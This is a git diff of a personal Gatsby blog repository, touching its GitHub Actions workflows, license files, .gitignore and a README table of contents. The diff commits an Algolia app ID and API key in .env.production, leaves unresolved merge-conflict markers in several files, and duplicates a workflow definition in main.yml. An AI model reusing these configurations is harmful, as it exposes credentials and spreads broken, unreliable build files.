diff --git a/.editorconfig b/.editorconfig
deleted file mode 100644
index 70c43d3475..0000000000
--- a/.editorconfig
+++ /dev/null
@@ -1,28 +0,0 @@
-root = true
-
-[*]
-tab_width = 2
-indent_size = 2
-charset = utf-8
-end_of_line = lf
-indent_style = space
-insert_final_newline = true
-trim_trailing_whitespace = true
-
-[*.txt]
-indent_size = false
-
-[test/fast/Listing versions/Running 'nvm ls' calls into nvm_alias]
-indent_size = false
-
-[test/fast/Listing versions/Running 'nvm ls --no-alias' does not call into nvm_alias]
-indent_size = false
-
-[test/fast/Unit tests/mocks/**]
-insert_final_newline = off
-
-[test/**/.urchin*]
-insert_final_newline = off
-
-[Makefile]
-indent_style = tab
diff --git a/.env.production b/.env.production
new file mode 100644
index 0000000000..a83a1d5831
--- /dev/null
+++ b/.env.production
@@ -0,0 +1,3 @@
+ALGOLIA_APP_ID=O6OT9G9U8Z
+ALGOLIA_API_KEY=b0cb3d390176e1ff4bd1ecb12fc15730
+ALGOLIA_INDEX_NAME=XXX
\ No newline at end of file
diff --git a/.github/workflows/azure-staticwebapp.yml b/.github/workflows/azure-staticwebapp.yml
new file mode 100644
index 0000000000..99bde11984
--- /dev/null
+++ b/.github/workflows/azure-staticwebapp.yml
@@ -0,0 +1,72 @@
+# This workflow will build and push a web application to an Azure Static Web App when you change your code.
+#
+# This workflow assumes you have already created the target Azure Static Web App.
+# For instructions see https://docs.microsoft.com/azure/static-web-apps/get-started-portal?tabs=vanilla-javascript
+#
+# To configure this workflow:
+#
+# 1. Set up a secret in your repository named AZURE_STATIC_WEB_APPS_API_TOKEN with the value of your Static Web Apps deployment token.
+#    For instructions on obtaining the deployment token see: https://docs.microsoft.com/azure/static-web-apps/deployment-token-management
+#
+# 3. Change the values for the APP_LOCATION, API_LOCATION and APP_ARTIFACT_LOCATION, AZURE_STATIC_WEB_APPS_API_TOKEN environment variables (below).
+#    For instructions on setting up the appropriate configuration values go to https://docs.microsoft.com/azure/static-web-apps/front-end-frameworks
+name: Deploy web app to Azure Static Web Apps
+
+on:
+  push:
+    branches:
+      - "master"
+  pull_request:
+    types: [opened, synchronize, reopened, closed]
+    branches:
+      - "master"
+
+# Environment variables available to all jobs and steps in this workflow
+env:
+  APP_LOCATION: "/" # location of your client code
+  API_LOCATION: "api" # location of your api source code - optional
+  APP_ARTIFACT_LOCATION: "build" # location of client code build output
+  AZURE_STATIC_WEB_APPS_API_TOKEN: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing deployment token for your static web app
+
+permissions:
+  contents: read
+
+jobs:
+  build_and_deploy_job:
+    permissions:
+      contents: read # for actions/checkout to fetch code
+      pull-requests: write # for Azure/static-web-apps-deploy to comment on PRs
+    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
+    runs-on: ubuntu-latest
+    name: Build and Deploy Job
+    steps:
+      - uses: actions/checkout@v3
+        with:
+          submodules: true
+      - name: Build And Deploy
+        id: builddeploy
+        uses: Azure/static-web-apps-deploy@v1
+        with:
+          azure_static_web_apps_api_token: ${{ env.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing api token for app
+          repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for Github integrations (i.e. PR comments)
+          action: "upload"
+          ###### Repository/Build Configurations - These values can be configured to match you app requirements. ######
+          # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
+          app_location: ${{ env.APP_LOCATION }}
+          api_location: ${{ env.API_LOCATION }}
+          app_artifact_location: ${{ env.APP_ARTIFACT_LOCATION }}
+          ###### End of Repository/Build Configurations ######
+
+  close_pull_request_job:
+    permissions:
+      contents: none
+    if: github.event_name == 'pull_request' && github.event.action == 'closed'
+    runs-on: ubuntu-latest
+    name: Close Pull Request Job
+    steps:
+      - name: Close Pull Request
+        id: closepullrequest
+        uses: Azure/static-web-apps-deploy@v1
+        with:
+          azure_static_web_apps_api_token: ${{ env.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing api token for app
+          action: "close"
diff --git a/.github/workflows/label.yml b/.github/workflows/label.yml
index 70932bf142..845a2eb570 100644
--- a/.github/workflows/label.yml
+++ b/.github/workflows/label.yml
@@ -9,6 +9,7 @@ name: Labeler
 on: [pull_request]
 
 jobs:
+<<<<<<< HEAD
     label:
         runs-on: ubuntu-latest
         permissions:
@@ -19,3 +20,16 @@ jobs:
             - uses: actions/labeler@v2
               with:
                   repo-token: '${{ secrets.GITHUB_TOKEN }}'
+=======
+  label:
+
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      pull-requests: write
+
+    steps:
+    - uses: actions/labeler@v4
+      with:
+        repo-token: "${{ secrets.GITHUB_TOKEN }}"
+>>>>>>> master
diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
new file mode 100644
index 0000000000..2144002d13
--- /dev/null
+++ b/.github/workflows/main.yml
@@ -0,0 +1,26 @@
+on: push
+name: Build Gatsby Site
+jobs:
+  build:
+    name: Build Gatsby Site
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@master
+    - name: Build Gatsby Site
+      uses: jzweifel/gatsby-cli-github-action@master
+      with:
+        gatsby-arg: build
+on: push
+name: Build Gatsby Site in Subdirectory
+jobs:
+  build:
+    name: Build Gatsby Site
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@master
+    - name: Build Gatsby Site
+      uses: jzweifel/gatsby-cli-github-action@master
+      env:
+        GATSBY_PROJECT_PATH: "./"
+      with:
+        gatsby-arg: build
diff --git a/.github/workflows/makefile.yml b/.github/workflows/makefile.yml
new file mode 100644
index 0000000000..de2dbe9453
--- /dev/null
+++ b/.github/workflows/makefile.yml
@@ -0,0 +1,27 @@
+name: Generate Documentation
+
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+    - name: Checkout
+      uses: actions/checkout@v2
+    - name: Github Action genshdoc
+      id: action-genshdoc
+      uses: vargiuscuola/genshdoc@master
+    - name: genshdoc result
+      run: echo "The result of genshdoc Action was ${{ steps.action-genshdoc.outputs.result }}"
+    - name: Commit files
+      run: |
+        echo ${{ github.ref }}
+        git add .
+        git config --local user.email "41898282+github-actions[bot]@users.noreply.github.com"
+        git config --local user.name "github-actions[bot]"
+        git commit -m "CI: Automated build push" -a | exit 0
+    - name: Push changes
+      if: github.ref == 'refs/heads/master'
+      uses: ad-m/github-push-action@master
+      with:
+        github_token: ${{ secrets.GITHUB_TOKEN }}
\ No newline at end of file
diff --git a/.github/workflows/pages.yml b/.github/workflows/pages.yml
new file mode 100644
index 0000000000..b80d85d364
--- /dev/null
+++ b/.github/workflows/pages.yml
@@ -0,0 +1,52 @@
+# Sample workflow for building and deploying a Gatsby site to GitHub Pages
+#
+# To get started with Gatsby see: https://www.gatsbyjs.com/docs/quick-start/
+#
+name: Deploy Gatsby site to Pages
+
+on:
+  # Runs on pushes targeting the default branch
+  push:
+    branches: ["master"]
+
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
+permissions:
+  contents: read
+  pages: write
+  id-token: write
+
+# Allow one concurrent deployment
+concurrency:
+  group: "pages"
+  cancel-in-progress: true
+
+# Default to bash
+defaults:
+  run:
+    shell: bash
+
+jobs:
+  # Build job
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v3
+      - name: Detect package manager
+        id: detect-package-manager
+        run: |
+          if [ -f "${{ github.workspace }}/package.json" ]; then
+            echo "::set-output name=manager::npm"
+            echo "::set-output name=command::ci"
+            exit 0
+          else
+            echo "Unable to determine packager manager"
+            exit 1
+          fi
+      - name: Setup Node
+        uses: actions/setup-node@v3
+        with:
+          node-version: "14"
diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
new file mode 100644
index 0000000000..62452f8e94
--- /dev/null
+++ b/.github/workflows/stale.yml
@@ -0,0 +1,26 @@
+# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
+#
+# You can adjust the behavior by modifying this file.
+# For more information, see:
+# https://github.com/actions/stale
+name: Mark stale issues and pull requests
+
+on:
+  schedule:
+    - cron: "25 1 * * *"
+
+jobs:
+  stale:
+    runs-on: ubuntu-latest
+    permissions:
+      issues: write
+      pull-requests: write
+
+    steps:
+      - uses: actions/stale@v5
+        with:
+          repo-token: ${{ secrets.GITHUB_TOKEN }}
+          stale-issue-message: "Stale issue message"
+          stale-pr-message: "Stale pull request message"
+          stale-issue-label: "no-issue-activity"
+          stale-pr-label: "no-pr-activity"
diff --git a/.github/workflows/super-linter.yml b/.github/workflows/super-linter.yml
new file mode 100644
index 0000000000..acee01e2b2
--- /dev/null
+++ b/.github/workflows/super-linter.yml
@@ -0,0 +1,29 @@
+# This workflow executes several linters on changed files based on languages used in your code base whenever
+# you push a code or open a pull request.
+#
+# You can adjust the behavior by modifying this file.
+# For more information, see:
+# https://github.com/github/super-linter
+name: Lint Code Base
+
+on:
+  push:
+    branches: [ "master" ]
+  pull_request:
+    branches: [ "master" ]
+jobs:
+  run-lint:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v3
+        with:
+          # Full git history is needed to get a proper list of changed files within `super-linter`
+          fetch-depth: 0
+
+      - name: Lint Code Base
+        uses: github/super-linter@v4
+        env:
+          VALIDATE_ALL_CODEBASE: false
+          DEFAULT_BRANCH: "master"
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.gitignore b/.gitignore
index de010e39bd..e79440f493 100644
--- a/.gitignore
+++ b/.gitignore
@@ -77,8 +77,12 @@ typings/
 
 
 # gatsby files
+<<<<<<< HEAD
 # .cache/
 # public
+=======
+
+>>>>>>> master
 
 # Mac files
 .DS_Store
@@ -91,8 +95,13 @@ yarn-error.log
 .yarn-integrity
 
 node_modules/
+public/
+.cache/
 
+<<<<<<< HEAD
 .package-lock.json
 *.cache
 *public
 src/pages/docs/tools/Archive.md
+=======
+>>>>>>> master
diff --git a/.gitpod.Dockerfile b/.gitpod.Dockerfile
new file mode 100644
index 0000000000..579ceb2f87
--- /dev/null
+++ b/.gitpod.Dockerfile
@@ -0,0 +1,4 @@
+
+FROM gitpod/workspace-full
+
+RUN npm -g install gatsby-dev-cli
diff --git a/.markdownlint.json b/.markdownlint.json
deleted file mode 100644
index 1f609ed928..0000000000
--- a/.markdownlint.json
+++ /dev/null
@@ -1,15 +0,0 @@
-{
-    "default": true,
-    "MD026/":false,
-    "MD013": false,
-    "MD033":false,
-    "MD02":false,
-    "MD024":false,
-    "MD030":false,
-    "MD022":false,
-    "MD001":false,
-    "MD003":false,
-    "MD029": false,
-    "MD007": { "indent": 4 },
-    "no-hard-tabs": false
-}
diff --git a/.node-version b/.node-version
new file mode 100644
index 0000000000..654afc8e19
--- /dev/null
+++ b/.node-version
@@ -0,0 +1 @@
+14.7.0
diff --git a/docs/content/cheat-sheets/react-cheatsheet.md b/.npmignore
similarity index 100%
rename from docs/content/cheat-sheets/react-cheatsheet.md
rename to .npmignore
diff --git a/.npmrc b/.npmrc
index 3ce2c41f93..5d35b284eb 100644
--- a/.npmrc
+++ b/.npmrc
@@ -1 +1 @@
-{ "engines" : { "node" : ">=0.15" } }
+{ "engines" : { "node" : ">=0.14" } }
diff --git a/.vscode/PythonImportHelper-v2-Completion.json b/.vscode/PythonImportHelper-v2-Completion.json
index 9551807b01..4871108954 100644
--- a/.vscode/PythonImportHelper-v2-Completion.json
+++ b/.vscode/PythonImportHelper-v2-Completion.json
@@ -1,8 +1,6 @@
-[
-    {
-        "label": "Flask",
-        "importPath": "flask",
-        "description": "flask",
+[{
+        "label": "argparse",
+        "kind": 6,
         "isExtraImport": true,
         "detail": "flask",
         "documentation": {}
diff --git a/HelloNetlifyGraph.md b/HelloNetlifyGraph.md
deleted file mode 100644
index 5524b8df7f..0000000000
--- a/HelloNetlifyGraph.md
+++ /dev/null
@@ -1 +0,0 @@
-Thank you for checking out Netlify Graph, we hope you like it!
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
deleted file mode 100644
index b42dc482c2..0000000000
--- a/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2021 Bryan C Guner
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/LICENSE.md b/LICENSE.md
new file mode 100644
index 0000000000..8ff8459161
--- /dev/null
+++ b/LICENSE.md
@@ -0,0 +1,40 @@
+# License Agreement
+##### Version 1.02 (02/14/2019)
+
+This Single Project License Agreement (**“Agreement”**) is between you and Stackbit Inc., a Delaware corporation (“Stackbit”) and governs Your right to use the website project including website theme and other media content (the "Project") obtained from or generated using our services available at www.stackbit.com (the "Services"). By clicking on the “Create Account” button (or any similar button) that is presented to you at the time of sign-up or by using the Site to generate a Project, you indicate that you agree to the terms and conditions of this Agreement. If You are accepting this Agreement on behalf of Your employer or other organization, You are agreeing to these terms for the entity and You represent and warrant that You have authority to bind such entity (party bound to this Agreement is referred to as “You”). 
+
+1. **Definitions**. The capitalized terms shall have the meaning given in the relevant paragraph where such term is defined. In addition, the following terms shall have the meaning set forth below.
+
+   **“Client"** means the person or entity whose website you are designing if you are a web developer, web designer, agency or a marketing agent.
+   
+   **“Theme”** means the website theme made available on the Site and generated using the Services, in HTML/JS/CSS electronic source code format together with any related developer documentation.
+   
+   **“Project”** means any work that includes a Theme or that is derived from or is a ‘derivative work’ of a Theme, as such terms are used under the United States Copyright Act of 1976, as amended.
+
+2.	**License**. Subject to the terms and conditions of this Agreement, Stackbit hereby grants you a perpetual, non-exclusive, non-transferable, non-sublicensable limited license to use, modify, and display the Theme only as incorporated in a single Project as set forth in Section 3 below. All rights not granted herein are expressly reserved by Stackbit.
+
+3.	**Permitted Use**
+
+        You may use the Theme as it is incorporated into a single Project, either your own Project or the Project of your Client, and You may make modifications to the Theme necessary to fit the requirements of the Project provided that the Project and the use of the Project by You or the Client remains subject to this Agreement. You will own the Project you create, but Stackbit retains all right, title and interest in and to the Theme and other media content that are incorporated in your Project. You must retain and include all copyright notices and the terms of this License without modification in the files of the Project. You and Client must use the Project in compliance with all applicable federal, state and local laws, rules and regulations.
+
+4.	**Prohibited Uses**
+
+        You may not, and shall not permit anyone else to, use the Project or do anything with the Project that is not expressly permitted by this Agreement, including, but not limited to, the following strictly prohibited uses:
+
+        1. resell, sublicense or other transfer the Project or the Theme or other components thereof or your rights to use the Theme as set forth herein or otherwise make available or allows a person to access or reproduce the Theme as an electronic file, except in connection with the single Project and subject to Section 3 above;
+    
+        2. Use, reproduce or display the Theme or Project in any manner that competitive with the Services or our business (e.g. inclusion as part of an online website builder service, or distribution outside the Services such as on a Theme/themes marketplace or a "freebies" website);
+    
+        3. Use, reproduce or display of the Theme in a fashion that we consider as, or under applicable law is considered, pornographic, obscene, immoral, infringing, defamatory or libelous; and
+    
+        4. Use or display of the Theme in an electronic format that enables it to be downloaded or distributed in any file sharing arrangement.
+
+5.	**Ownership**. Stackbit shall retain and own all right, title and interest, including but not limited to copyright, patent, trade secret and all other intellectual property rights, in and to the Themes. You shall own all right, title and interest, including but not limited to copyright, patent, trade secret and all other intellectual property rights, in and to the Project, subject to Stackbit’s ownership of the Theme and the terms of this license agreement.
+
+6.	**Term and Termination**.  This Agreement shall commence on the deployment of a Project through Stackbit’s Services to a repository (such as for example to Github) and continue indefinitely until it is terminated in accordance with Section 6. Stackbit may terminate this Agreement if You breach the Agreement and such breach remains uncured for 15 days following Your receipt of written notice from Stackbit. You may terminate this Agreement for convenience and without cause at any time immediately upon written notice to Stackbit. Upon termination of this Agreement for any reason, You and your Client shall a) cease all use of the Theme and the Project b) destroy or delete all copies and archives of the Theme, Projects, and accompanying materials, and c) if requested, confirm to Stackbit in writing that you have complied with these requirements. Any provisions of this Agreement which expressly or by implication are intended to survive its termination will survive and continue to bind the parties.
+
+7.	**Warranty and Disclaimer**. THE SERVICES, SITE, THEME, PROJECT AND ALL CONTENT AVAILABLE THROUGH THE SITE ARE OFFERED “AS IS” AND WITHOUT WARRANTY, AND STACKBIT MAKES NO REPRESENTATION OR WARRANTY OF ANY KIND, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE, AND SPECIFICALLY DISCLAIMS ALL WARRANTIES OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE.
+
+8.	**Limitation of Liability**.  Stackbit’s aggregate liability for all claims, losses, liabilities or damages in connection with this Services, Theme, Project or this Agreement or its subject matter, whether as a result of breach of contract, tort (including negligence) or otherwise, regardless of the theory of liability asserted, is limited to no more than the total amount of fees paid to Stackbit under this Agreement, or $100, whichever is greater.  In addition, Stackbit will not be liable in any event for lost profits, consequential, indirect, punitive, exemplary or special damages.  
+
+9.	**General**. This Agreement shall be governed by the law of the State of California, without reference to conflict of laws principles. The United Nations Convention on contracts for the International Sales of Goods shall not apply. This Agreement, together with the Stackbit Terms of Service at www.stackbit.com/tos/ represents the entire agreement between the parties with regard to the subject matter thereof and supersedes any prior understandings, proposals or agreements concerning the same subject matter. If any provision of this Agreement is found to be unenforceable or invalid, the remainder of such provision shall be enforced to the maximum extent permitted by law. No amendment or modification of this Agreement shall be valid or binding unless in a writing signed by representatives of both parties. You may not assign this Agreement without Stackbit’s prior written consent. Any attempted assignment in violation of this shall be null and void. This Agreement shall be binding upon and inure to the benefit of the parties hereto and their respective permitted successors and assigns. Any notice required or permitted to be given by either party under this Agreement shall be in writing and may be sent via an active Services account dashboard or shall be personally delivered or sent by commercial courier service, or by first class mail (certified or registered if available), or by telecopy confirmed by first class mail (registered or certified if available), to the other party at its address set forth below, or such new address as may from time-to-time be supplied hereunder by the parties hereto.
diff --git a/README.md b/README.md
index 354a04ea98..ec86fc5869 100644
--- a/README.md
+++ b/README.md
@@ -9,7 +9,11 @@
 
 ---
 
+<<<<<<< HEAD
 
+=======
+### [CHANGELOG](./CHANGELOG.md)
+>>>>>>> master
 
 
 
@@ -25,11 +29,15 @@
 <div align="center">
 
 [![Netlify Status](https://api.netlify.com/api/v1/badges/a1b7ee1a-11a7-4bd2-a341-2260656e216f/deploy-status)](https://app.netlify.com/sites/bgoonz-blog/deploys)[![CodeFactor](https://www.codefactor.io/repository/github/bgoonz/bgoonz_blog_2.0/badge)](https://www.codefactor.io/repository/github/bgoonz/bgoonz_blog_2.0)
-
 ![GitHub visitors](https://visitor-badge-reloaded.herokuapp.com/badge?page_id=bgoonz.visitor.badge.reloaded&color=00bbbb&style=for-the-badge&logo=github)
+[![Deploy Gatsby site to Pages](https://github.com/DUKE42web/BGOONZ_BLOG_2.0/actions/workflows/pa7ges.yml/badge.svg?branch=master&event=deployment)](https://github.com/DUKE42web/BGOONZ_BLOG_2.0/actions/workflows/pa7ges.yml)
+[![Lint Code Base](https://github.com/bgoonz/BGOONZ_BLOG_2.0/actions/workflows/super-linter.yml/badge.svg)](https://github.com/bgoonz/BGOONZ_BLOG_2.0/actions/workflows/super-linter.yml)
+
+[![Deploy Gatsby site to Pages](https://github.com/bgoonz/BGOONZ_BLOG_2.0/actions/workflows/pages.yml/badge.svg)](https://github.com/bgoonz/BGOONZ_BLOG_2.0/actions/workflows/pages.yml)
 
 ---
 
+<<<<<<< HEAD
 ![preview](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/blog-preview.png?raw=true)
 
   
@@ -39,9 +47,375 @@
 <a href="https://testmysite.io/61e5ff836a840eeeef7e78e9/bgoonz-blog.netlify.app" rel="Test My Site Results">![Foo](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/Screenshot%202022-03-30%20at%2012-37-24%20Website%20Speed%20Test%20Tool%20-%20Testmysite.io%20by%20Netlify.png?raw=true)</a>
   
 </div>
+=======
+#### Branch Deploys
+
+##### [Preview](https://preview--bgoonz-blog.netlify.app/)
+
+##### [local](https://local--bgoonz-blog.netlify.app/)
+
+##### []()
+
+##### []()
+
+##### []()
+
+##### []()
+
+##### []()
+
+##### []()
+
+docky src/components/**/*.js   --watch "src/components/**/*.js","./README.md"  --ignore "src/components/**/index.js"
+
+---
+
+### Table Of Contents
+
+- [Bgoonz Blog Readme](#bgoonz-blog-readme)
+    - [⇨WEBSITE🗺️⇦](#website️)
+    - [CHANGELOG](#changelog)
+        - [⇨WEBSITE🗺️⇦ ⇨**Cloudfare-Backup**⇦ ⇨**search**⇦ ⇨**Backup Repo Deploy**⇦ ⇨**Github pages**⇦ ⇨**Go To Site Wiki**⇦ ⇨**Gatsby Cloud Version**⇦ ⇨**Vercel Version**⇦ ⇨**Cloudfare-Domain**⇦ ⇨**gh-pages**⇦ ⇨**backup netlify deploy**⇦](#website️-cloudfare-backup-search-backup-repo-deploy-github-pages-go-to-site-wiki-gatsby-cloud-version-vercel-version-cloudfare-domain-gh-pages-backup-netlify-deploy)
+    - [Repos](#repos)
+      - [⇨Privacy policy⇦](#privacy-policy)
+  - [](#)
+      - [Branch Deploys](#branch-deploys)
+        - [Preview](#preview)
+        - [local](#local)
+        - [](#-1)
+        - [](#-2)
+        - [](#-3)
+        - [](#-4)
+        - [](#-5)
+        - [](#-6)
+    - [Table Of Contents](#table-of-contents)
+  - [](#-7)
+  - [Useful Commands (internal use)](#useful-commands-internal-use)
+  - [Stable Points](#stable-points)
+    - [Links To Remember:](#links-to-remember)
+  - [Web Dev Setup](#web-dev-setup)
+  - [Basic Web Development Environment Setup](#basic-web-development-environment-setup)
+    - [Basic Web Development Environment Setup](#basic-web-development-environment-setup-1)
+      - [Windows Subsystem for Linux (WSL) and Ubuntu](#windows-subsystem-for-linux-wsl-and-ubuntu)
+          - [Test if you have Ubuntu installed by typing "Ubuntu" in the search box in the bottom app bar that reads "Type here to search". If you see a search result that reads **"Ubuntu 20.04 LTS"** with "App" under it, then you have it installed.](#test-if-you-have-ubuntu-installed-by-typing-ubuntu-in-the-search-box-in-the-bottom-app-bar-that-reads-type-here-to-search-if-you-see-a-search-result-that-reads-ubuntu-2004-lts-with-app-under-it-then-you-have-it-installed)
+    - [Git](#git)
+    - [Google Chrome](#google-chrome)
+    - [Node.js](#nodejs)
+    - [Unzip](#unzip)
+    - [Python 3](#python-3)
+    - [Note about WSL](#note-about-wsl)
+    - [Some other common instillations](#some-other-common-instillations)
+  - [](#-8)
+    - [Documentation Commands:](#documentation-commands)
+  - [documentation build src/components/ActionLink.js  -f md\> ./notes/ActionLink.md](#documentation-build-srccomponentsactionlinkjs---f-md-notesactionlinkmd)
+  - [Blog Content:](#blog-content)
+  - [Bash Cheat Sheet (MY COMMANDS)](#bash-cheat-sheet-my-commands)
+  - [1. Remove spaces from file and folder names and then remove numbers from files and folder names](#1-remove-spaces-from-file-and-folder-names-and-then-remove-numbers-from-files-and-folder-names)
+    - [Description: need to : `sudo apt install rename`](#description-need-to--sudo-apt-install-rename)
+          - [code](#code)
+  - [2. Download Website Using Wget](#2-download-website-using-wget)
+    - [Description](#description)
+          - [code](#code-1)
+  - [3. Clean Out Messy Git Repo](#3-clean-out-messy-git-repo)
+    - [Description: recursively removes git related folders as well as internal use files / attributions in addition to empty folders](#description-recursively-removes-git-related-folders-as-well-as-internal-use-files--attributions-in-addition-to-empty-folders)
+          - [code](#code-2)
+  - [4. clone all of a user's git repositories](#4-clone-all-of-a-users-git-repositories)
+    - [Description: clone all of a user or organization's git repositories](#description-clone-all-of-a-user-or-organizations-git-repositories)
+          - [code](#code-3)
+  - [Generalized](#generalized)
+  - [Clone all Git User](#clone-all-git-user)
+  - [Clone all Git Organization](#clone-all-git-organization)
+  - [5. Git Workflow](#5-git-workflow)
+    - [Description](#description-1)
+          - [code](#code-4)
+  - [6. Recursive Unzip In Place](#6-recursive-unzip-in-place)
+    - [Description: recursively unzips folders and then deletes the zip file by the same name](#description-recursively-unzips-folders-and-then-deletes-the-zip-file-by-the-same-name)
+          - [code](#code-5)
+  - [7. git pull keeping local changes](#7-git-pull-keeping-local-changes)
+    - [Description](#description-2)
+          - [code](#code-6)
+  - [8. Prettier Code Formatter](#8-prettier-code-formatter)
+    - [Description](#description-3)
+          - [code](#code-7)
+  - [9. Pandoc](#9-pandoc)
+    - [Description](#description-4)
+          - [code](#code-8)
+  - [10. Gitpod Installs](#10-gitpod-installs)
+    - [Description](#description-5)
+          - [code](#code-9)
+  - [11. Repo Utils Package](#11-repo-utils-package)
+    - [Description: my standard repo utis package](#description-my-standard-repo-utis-package)
+          - [code](#code-10)
+  - [12. Unix Tree Package Usage](#12-unix-tree-package-usage)
+    - [Description](#description-6)
+          - [code](#code-11)
+  - [13. Find \& Replace string in file \& folder names recursively](#13-find--replace-string-in-file--folder-names-recursively)
+    - [Description](#description-7)
+          - [code](#code-12)
+  - [14. Remove double extensions](#14-remove-double-extensions)
+    - [Description](#description-8)
+          - [code](#code-13)
+  - [15. Truncate folder names down to 12 characters](#15-truncate-folder-names-down-to-12-characters)
+    - [Description: Truncate folder names down to 12 characters](#description-truncate-folder-names-down-to-12-characters)
+          - [code](#code-14)
+  - [16.Appendir.js](#16appendirjs)
+    - [Description: combine the contents of every file in the contaning directory](#description-combine-the-contents-of-every-file-in-the-contaning-directory)
+          - [code](#code-15)
+  - [17. Replace space in filename with underscore](#17-replace-space-in-filename-with-underscore)
+    - [Description: followed by replace `'#' with '_'` in directory name](#description-followed-by-replace--with-_-in-directory-name)
+          - [code](#code-16)
+  - [18. Filter \& delete files by name and extension](#18-filter--delete-files-by-name-and-extension)
+    - [Description](#description-9)
+          - [code](#code-17)
+  - [19. Remove lines containing string](#19-remove-lines-containing-string)
+    - [Description](#description-10)
+          - [code](#code-18)
+  - [20. Remove duplicate lines from a text file](#20-remove-duplicate-lines-from-a-text-file)
+    - [Description](#description-11)
+          - [code](#code-19)
+  - [21. Remove lines containing string](#21-remove-lines-containing-string)
+    - [Description](#description-12)
+          - [code](#code-20)
+  - [22. Zip directory excluding .git and node\_modules all the way down (Linux)](#22-zip-directory-excluding-git-and-node_modules-all-the-way-down-linux)
+    - [Descriptio: zip up an entire git directory](#descriptio-zip-up-an-entire-git-directory)
+          - [code](#code-21)
+  - [23. Delete files containing a certain string](#23-delete-files-containing-a-certain-string)
+    - [Description](#description-13)
+          - [code](#code-22)
+  - [24 Generate sitemap](#24-generate-sitemap)
+    - [Description](#description-14)
+          - [code](#code-23)
+  - [25. Index of Iframes](#25-index-of-iframes)
+    - [Description: Creates an index.html file that contains all the files in the working directory or any of it's sub folders as iframes instead of anchor tags](#description-creates-an-indexhtml-file-that-contains-all-the-files-in-the-working-directory-or-any-of-its-sub-folders-as-iframes-instead-of-anchor-tags)
+          - [code](#code-24)
+  - [26. Filter Corrupted Git Repo For Troublesome File](#26-filter-corrupted-git-repo-for-troublesome-file)
+    - [Description](#description-15)
+          - [code](#code-25)
+  - [27. OVERWRITE LOCAL CHANGES](#27-overwrite-local-changes)
+    - [Description](#description-16)
+          - [code](#code-26)
+  - [28. Remove Submodules](#28-remove-submodules)
+    - [Description: To remove a submodule you need to](#description-to-remove-a-submodule-you-need-to)
+          - [code](#code-27)
+  - [29. GET GISTS](#29-get-gists)
+    - [Description](#description-17)
+          - [code](#code-28)
+  - [30. Remove Remote OriginL](#30-remove-remote-originl)
+    - [Description](#description-18)
+          - [code](#code-29)
+  - [31. just clone .git folder](#31-just-clone-git-folder)
+    - [Description](#description-19)
+          - [code](#code-30)
+  - [32. Undo recent pull request](#32-undo-recent-pull-request)
+    - [Description](#description-20)
+          - [code](#code-31)
+  - [33. Lebab](#33-lebab)
+    - [Description: ES5 --\> ES6](#description-es5----es6)
+          - [code](#code-32)
+  - [34. Troubleshoot Ubuntu Input/Output Error](#34-troubleshoot-ubuntu-inputoutput-error)
+    - [Description: Open Powershell as Administrator](#description-open-powershell-as-administrator)
+          - [code](#code-33)
+  - [35. Export Medium as Markdown](#35-export-medium-as-markdown)
+    - [Description](#description-21)
+          - [code](#code-34)
+  - [36. Delete files in violation of a given size range (100MB for git)](#36-delete-files-in-violation-of-a-given-size-range-100mb-for-git)
+    - [Description](#description-22)
+          - [code](#code-35)
+  - [37. download all links of given file type](#37-download-all-links-of-given-file-type)
+    - [Description](#description-23)
+          - [code](#code-36)
+  - [38. Kill all node processes](#38-kill-all-node-processes)
+    - [Description](#description-24)
+          - [code](#code-37)
+  - [39. Remove string from file names recursively](#39-remove-string-from-file-names-recursively)
+    - [Description: In the example below I am using this command to remove the string "-master" from all file names in the working directory and all of it's sub directories](#description-in-the-example-below-i-am-using-this-command-to-remove-the-string--master-from-all-file-names-in-the-working-directory-and-all-of-its-sub-directories)
+          - [code](#code-38)
+  - [40. Remove spaces from file and folder names recursively](#40-remove-spaces-from-file-and-folder-names-recursively)
